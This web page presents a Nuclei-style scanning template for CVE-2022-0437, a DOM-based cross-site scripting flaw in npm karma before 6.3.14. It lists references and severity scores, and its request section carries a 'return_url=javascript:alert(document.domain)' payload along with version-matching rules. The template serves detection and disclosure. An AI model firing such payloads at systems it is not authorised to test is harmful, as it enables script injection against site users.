CVE-2022-0437: karma-runner DOM-based Cross-Site Scripting

2025-08-01 karma-runner PoC Public

Description

NPM karma prior to 6.3.14. contains a DOM-based cross-site Scripting vulnerability.

PoC

id: CVE-2022-0437

info:
  name: karma-runner DOM-based Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: NPM karma prior to 6.3.14. contains a DOM-based cross-site Scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of karma-runner that includes proper input sanitization to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/64b67ea1-5487-4382-a5f6-e8a95f798885
    - https://github.com/karma-runner/karma/commit/839578c45a8ac42fbc1d72105f97eab77dd3eb8a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0437
    - https://github.com/karma-runner/karma
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0437
    cwe-id: CWE-79
    epss-score: 0.15054
    epss-percentile: 0.96546
    cpe: cpe:2.3:a:karma_project:karma:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 2
    vendor: karma_project
    product: karma
    framework: node.js
  tags: cve2022,cve,oss,huntr,karma,xss,karma_project,node.js,passive,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/karma.js'
      - '{{BaseURL}}/?return_url=javascript:alert(document.domain)'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - compare_versions(version, '< 6.3.14')

      - type: word
        part: body_2
        words:
          - 'Karma'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "(?m)VERSION: '([0-9.]+)'"
        internal: true
# digest: 4b0a00483046022100aed652c77b62a8f6f18f99e7b7f01cd47c30d34a339794e0cb153b07089bbc1e022100a844a69d3fe3c22909e409b5deec4f34aaf6b40304a0839522d73ff57574a502:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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